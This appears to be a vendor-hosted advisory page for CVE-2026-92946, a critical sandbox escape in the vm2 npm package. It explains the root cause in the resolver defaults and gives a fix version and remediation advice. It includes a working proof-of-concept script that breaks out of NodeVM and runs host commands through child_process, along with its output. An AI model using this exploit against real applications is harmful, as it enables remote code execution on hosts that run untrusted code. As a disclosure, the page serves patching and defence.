CVE-2026-92946

CVE-2026-92946 is a critical-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.6. It is fixed in 3.11.7.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

vm2: NodeVM require.external without an explicit require.root grants unrestricted host filesystem access and full RCE

NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox:

  • require.root defaults to unrestricted, "if omitted every path is allowed."
  • require.context defaults to "host", files loaded this way run through the real Node.js require(), not inside any vm2 sandbox.

Sandboxed code can therefore require() a relative or absolute path to vm2's own installed package (node_modules/vm2), obtain the real, unwrapped NodeVM/VM classes, construct a brand-new unrestricted nested NodeVM instance, and execute arbitrary host OS commands via child_process.

This is exploitable using vm2's own documented "Quick Examples" configuration in README.md:

const vm = new NodeVM({
  require: {
    external: true,
    root: './',
  },
});

root: './' reads as a safety restriction but, in any ordinary npm project layout, ./node_modules/vm2 sits inside that same directory tree, so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.

Affected Versions

All vm2 versions where lib/resolver-compat.js's makeResolverFromLegacyOptions predates this report, confirmed present as of the current main (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).

Details / Root Cause

lib/resolver-compat.js:

const {
  builtin: builtinOpt,
  mock: mockOpt,
  external: externalOpt,
  root: rootPaths,
  resolve: customResolver,
  customRequire: hostRequire = defaultRequire,
  context = 'host',          // <-- defaults to 'host'
  strict = true,
  fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
  // root is only canonicalized/validated if the embedder explicitly provided one.
  ...
}

and CustomResolver.isPathAllowed:

isPathAllowed(filename) {
  if (this.rootPaths === undefined) return true;   // <-- unrestricted when root is omitted
  ...
}

and CustomResolver.loadJS:

loadJS(vm, mod, filename) {
  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
  const m = this.hostRequire(filename);   // <-- real host require(), when context === 'host' (the default)
  mod.exports = vm.readonly(m);
}

CustomResolver (the resolver used whenever require.external is a bare true, i.e. not a scoped array/object) has no external-module-name allowlist at all, it gates purely on isPathAllowed, which is a no-op when root isn't set. Combined with context defaulting to 'host', any absolute or root-relative path sandboxed code names is loaded and executed via the real, unsandboxed Node.js require().

This is a distinct code path from the two already-fixed advisories that produce a similar end state:

  • Category 24 / GHSA-cp6g-6699-wx9c (require.root symlink bypass) assumes root is configured and attacks the symlink boundary via a TOCTOU between path.resolve() and the native loader's symlink-following. git log -- lib/resolver-compat.js shows its fix (realpath canonicalization) is the only history that file has, nothing from the nesting fix touches it, and the fix does nothing when root is never set in the first place, since there is no boundary to attack via symlink.
  • Category 25 / GHSA-8hg8-63c5-gwmx (nesting: true bypass) closes a different delivery mechanism entirely, the NESTING_OVERRIDE-injected vm2 builtin, gated by a constructor-time check on the nesting option. That check is never consulted by this path: an embedder with nesting: false (the default) and no dangerous require.builtin entries is still fully exposed via require.external: true alone.

An embedder who has correctly mitigated both prior advisories remains completely open through this one.

Documentation framing does not mitigate this to "expected behavior." require.external's JSDoc does carry an inline warning ("root should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous, materially weaker than nesting: true's bolded WARNING, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent nesting from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in README.md sets root: './', which reads as an active safety choice, not an acknowledgment of "every path is allowed."

Proof of Concept

See attached poc.js. Reproduces using vm2's own documented Quick Examples config, in a normal project layout (poc.js next to a real node_modules/vm2 install), no symlinks, no nesting, no dangerous require.builtin entries, no modification to vm2's source.

const path = require('path');
const { NodeVM } = require('vm2');

const vm = new NodeVM({
  require: { external: true, root: './' },   // verbatim from README "Quick Examples"
});

let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;

const result = vm.run(`
  const real = require(${JSON.stringify(vm2EntryPoint)});
  const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
  module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');

console.log(result); // real host username, e.g. "Abisheik M"

Actual output on the test machine:

{ whoami: 'Abisheik M', platform: 'win32' }

Abisheik M is the real OS account executing the Node.js process, not a sandbox artifact.

Impact

Any application that follows vm2's own README "Quick Examples" pattern (or any config with require.external enabled and require.root set to a path that includes node_modules, or omitted entirely) allows sandboxed/untrusted code to:

  • Execute arbitrary OS commands via child_process (full RCE).
  • Read/write arbitrary files via fs (once inside the re-instantiated unrestricted NodeVM).
  • Fully defeat every other sandbox restriction the embedder configured on the outer NodeVM, the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.

CVE-2026-92946 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.11.7); upgrading removes the vulnerable code path.

Affected versions

vm2 (<= 3.11.6)

Security releases

vm2 → 3.11.7 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Mirror the precedent already established for nesting (Category 25) and require.root (Category 24): fail loudly at construction time instead of silently defaulting to an unsafe combination.

In lib/resolver-compat.js's makeResolverFromLegacyOptions, when externalOpt is truthy (bare true, or an object/array not scoped to specific module names only) and rootPaths === undefined, throw a VMError at new NodeVM(...) construction time, extending the same checkedRootPaths eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default require object when nesting: true is set.

Additionally: update README.md's "Quick Examples" snippet so it no longer shows a root value that is silently vulnerable to a same-directory node_modules install (e.g. scope it below the project root, or add an explicit callout that root must exclude node_modules).

Frequently Asked Questions

  1. What is CVE-2026-92946? CVE-2026-92946 is a critical-severity security vulnerability in vm2 (npm), affecting versions <= 3.11.6. It is fixed in 3.11.7.
  2. How severe is CVE-2026-92946? CVE-2026-92946 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of vm2 are affected by CVE-2026-92946? vm2 (npm) versions <= 3.11.6 is affected.
  4. Is there a fix for CVE-2026-92946? Yes. CVE-2026-92946 is fixed in 3.11.7. Upgrade to this version or later.
  5. Is CVE-2026-92946 exploitable, and should I be worried? Whether CVE-2026-92946 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-92946 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-92946? Upgrade vm2 to 3.11.7 or later.

Other vulnerabilities in vm2

Stop the waste.
Protect your environment with Kodem.